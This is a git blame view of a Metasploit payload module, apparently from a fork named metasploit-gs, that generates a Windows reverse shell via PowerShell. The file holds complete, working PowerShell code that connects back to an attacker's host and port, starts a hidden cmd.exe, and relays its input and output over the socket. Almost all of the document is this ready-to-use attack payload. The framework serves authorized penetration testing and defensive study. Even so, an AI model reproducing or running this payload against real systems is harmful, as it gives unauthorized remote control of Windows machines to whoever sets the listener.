Files
metasploit-gs/modules/payloads/singles/cmd/windows/reverse_powershell.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

118 lines
3.4 KiB
Ruby
Raw Normal View History

2014-02-08 01:00:31 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-02-08 01:00:31 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2014-02-08 01:00:31 +00:00
2020-02-23 19:23:02 +08:00
CachedSize = 1588
2014-02-08 01:00:31 +00:00
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
2022-11-22 05:49:48 -05:00
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell',
'Author' =>
[
'Dave Kennedy', # Original payload from trustedsec on SET
'Ben Campbell' # Metasploit module
],
'References' =>
[
['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
],
# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('PowerShellPath', [true, 'The path to the PowerShell executable', 'powershell'])
]
)
2014-02-08 01:00:31 +00:00
end
#
2014-02-19 15:21:02 -06:00
# Constructs the payload
2014-02-08 01:00:31 +00:00
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2014-02-08 01:00:31 +00:00
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
lport = datastore['LPORT']
powershell = %Q^
$a='#{lhost}';
$b=#{lport};
$c=New-Object system.net.sockets.tcpclient;
$nb=New-Object System.Byte[] $c.ReceiveBufferSize;
$ob=New-Object System.Byte[] 65536;
$eb=New-Object System.Byte[] 65536;
$e=new-object System.Text.UTF8Encoding;
$p=New-Object System.Diagnostics.Process;
$p.StartInfo.FileName='cmd.exe';
$p.StartInfo.RedirectStandardInput=1;
$p.StartInfo.RedirectStandardOutput=1;
$p.StartInfo.RedirectStandardError=1;
$p.StartInfo.UseShellExecute=0;
$q=$p.Start();
$is=$p.StandardInput;
$os=$p.StandardOutput;
$es=$p.StandardError;
2020-02-23 19:23:02 +08:00
$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);
$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);
$c.connect($a,$b);
$s=$c.GetStream();
while ($true) {
start-sleep -m 100;
if ($osread.IsCompleted -and $osread.Result -ne 0) {
2020-02-23 19:23:02 +08:00
$r=$os.BaseStream.EndRead($osread);
$s.Write($ob,0,$r);
$s.Flush();
2020-02-23 19:23:02 +08:00
$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);
}
if ($esread.IsCompleted -and $esread.Result -ne 0) {
2020-02-23 19:23:02 +08:00
$r=$es.BaseStream.EndRead($esread);
$s.Write($eb,0,$r);
$s.Flush();
2020-02-23 19:23:02 +08:00
$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);
}
if ($s.DataAvailable) {
$r=$s.Read($nb,0,$nb.Length);
if ($r -lt 1) {
break;
} else {
$str=$e.GetString($nb,0,$r);
$is.write($str);
}
}
if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {
break;
2020-02-23 19:23:02 +08:00
}
if ($p.ExitCode -ne $null) {
break;
2020-02-23 19:23:02 +08:00
}
}
^.gsub!("\n", "")
2014-02-08 01:00:31 +00:00
2022-11-22 05:49:48 -05:00
"#{datastore['PowerShellPath']} -w hidden -nop -c #{powershell}"
2014-02-08 01:00:31 +00:00
end
end